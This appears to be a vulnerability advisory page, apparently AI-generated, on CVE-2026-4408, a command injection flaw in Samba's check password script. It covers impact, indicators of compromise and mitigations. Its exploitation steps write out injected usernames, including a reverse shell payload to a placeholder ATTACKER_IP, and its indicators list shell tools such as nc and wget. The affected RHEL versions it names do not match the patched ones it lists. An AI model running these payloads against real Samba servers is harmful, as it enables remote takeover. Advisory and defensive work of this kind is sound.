CVE-2026-4408
Samba vulnerability analysis and mitigation

Overview

CVE-2026-4408 is an OS command injection vulnerability in Samba that allows unauthenticated remote attackers to execute arbitrary commands on affected systems. The flaw exists in Samba file servers and classic (non-AD) domain controllers that use the "check password script" feature configured with the %u substitution character, causing client-controlled usernames to be passed to the script without proper shell meta-character escaping. Affected versions span Samba 4.1.0 through 4.20.x (fixed in 4.21.0), and the vulnerability also affects Red Hat Enterprise Linux 6, 7, 9, and OpenShift Container Platform 4. It was disclosed on May 28, 2026, with a CVSS v3.1 base score of 9.8 (Critical) per NVD, and 9.0 (Critical) per Red Hat (Github Advisory, Red Hat Bugzilla).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where Samba's SamValidatePasswordChange and SamValidatePasswordReset RPC services — exposed via the SAMR DCE/RPC service over NCACN_IP_TCP — pass a client-supplied username to the configured "check password script" without sanitizing shell meta-characters when the %u substitution token is used (Red Hat Bugzilla). Exploitation requires two non-default conditions: (1) the smb.conf must configure check password script with %u, and (2) the samba-dcerpcd service must be running as a standalone system service (i.e., rpc start on demand helpers = no). In the default DCE/RPC configuration, smbd starts samba-dcerpcd in a mode that makes the vulnerable code path inaccessible. Active Directory Domain Controllers are not affected, as they do not expand usernames via %u (Red Hat Bugzilla, Github Advisory).

Impact

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary OS commands on the affected Samba server with the privileges of the samba-dcerpcd service process, resulting in full compromise of confidentiality, integrity, and availability. This could enable an attacker to read sensitive files, modify data, install backdoors, or use the compromised server as a pivot point for lateral movement within the network. File servers and classic domain controllers in enterprise environments are the primary at-risk assets (Red Hat Bugzilla, Github Advisory).

Exploitation steps

  1. Reconnaissance: Identify Samba file servers or classic domain controllers exposed on the network, particularly those with TCP port 445 or DCE/RPC ports open. Use tools like Nmap or Shodan to locate Samba instances running versions 4.1.0–4.20.x.
  2. Verify configuration: Determine whether the target has check password script configured with %u in smb.conf, and whether samba-dcerpcd is running as a standalone system service (i.e., rpc start on demand helpers = no). This may be inferred from service enumeration or prior access to configuration files.
  3. Craft malicious username: Construct a username string containing shell meta-characters and an injected command payload (e.g., ; id > /tmp/pwned # or a reverse shell payload such as ; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 #).
  4. Send SAMR RPC request: Use an SMB/DCE-RPC client (e.g., impacket's samr.py or a custom script) to call SamValidatePasswordChange or SamValidatePasswordReset over NCACN_IP_TCP, supplying the crafted username as the account name parameter.
  5. Achieve command execution: The Samba server passes the unsanitized username to the shell script, executing the injected command with the privileges of the samba-dcerpcd service, potentially yielding a reverse shell or other attacker-controlled outcome (Red Hat Bugzilla).

Indicators of compromise

  • Network: Unexpected inbound DCE/RPC connections to Samba servers on TCP port 135 or dynamic RPC ports from external or untrusted hosts; outbound connections from the Samba server to unknown external IPs (potential reverse shell activity).
  • Logs: Samba logs (/var/log/samba/) showing SamValidatePasswordChange or SamValidatePasswordReset RPC calls with usernames containing shell special characters (;, |, &, `, $, (, )).
  • Process: Unexpected child processes spawned by samba-dcerpcd or smbd, such as /bin/bash, sh, curl, wget, nc, or python; unusual processes running under the Samba service account.
  • File System: New or modified files in /tmp, /var/tmp, or Samba share directories created by the Samba service account; presence of web shells, cron jobs, or SSH authorized keys added by the service account.

Mitigation and workarounds

Upgrade to Samba 4.21.0 or later, which contains the fix for this vulnerability (Github Advisory). Red Hat has issued patches via RHSA-2026:22644 (RHEL 8) and RHSA-2026:22963 (RHEL 10) (Red Hat Bugzilla). If immediate patching is not possible, apply one or more of the following workarounds: (1) remove or disable the check password script directive in smb.conf; (2) ensure the script does not use the %u substitution character; (3) set rpc start on demand helpers = yes (the default) to prevent samba-dcerpcd from running as a standalone system service, which blocks the vulnerable code path. Wrapping %u in single quotes (e.g., '%u') reduces but does not eliminate risk, as option injection may still be possible.

Community reactions

Security media outlet The Hacker Wire covered the vulnerability, highlighting the misconfigured "check password script" as the root cause of the remote command execution risk (The Hacker Wire). SecurityOnline.info noted the vulnerability in the context of critical Samba security releases (SecurityOnline). The Samba project published a security release announcement covering the fix (Samba News). Community discussion on platforms such as Mastodon and LinkedIn was moderate, with security researchers noting the non-default configuration requirement as a significant mitigating factor limiting real-world exposure.

Additional resources


SourceThis report was generated using AI

Related Samba vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-4408CRITICAL9.8
  • Samba logoSamba
  • libsmbclient
NoYesMay 28, 2026
CVE-2026-3238HIGH7.5
  • Samba logoSamba
  • ctdb
NoYesJun 08, 2026
CVE-2026-2340MEDIUM6.5
  • Samba logoSamba
  • python3-samba-dc
NoYesMay 27, 2026
CVE-2026-1933MEDIUM6.5
  • Samba logoSamba
  • ctdb
NoYesMay 27, 2026
CVE-2026-15779MEDIUM6.1
  • Samba logoSamba
  • samba
NoNoJul 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management